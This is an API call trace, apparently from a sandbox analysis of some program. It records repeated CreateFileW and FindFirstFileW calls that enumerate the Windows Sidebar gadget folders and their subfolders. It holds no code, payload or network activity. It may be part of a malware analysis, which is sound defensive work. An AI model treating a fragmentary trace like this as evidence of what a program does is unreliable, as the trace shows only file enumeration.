	[0053.695] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.696] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.697] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.700] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.700] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.755] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.756] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.756] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.757] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.760] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.771] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.774] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.778] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.780] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.787] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.788] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.789] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.807] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.807] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.809] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.810] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.811] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.812] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.815] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.817] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.826] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.827] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
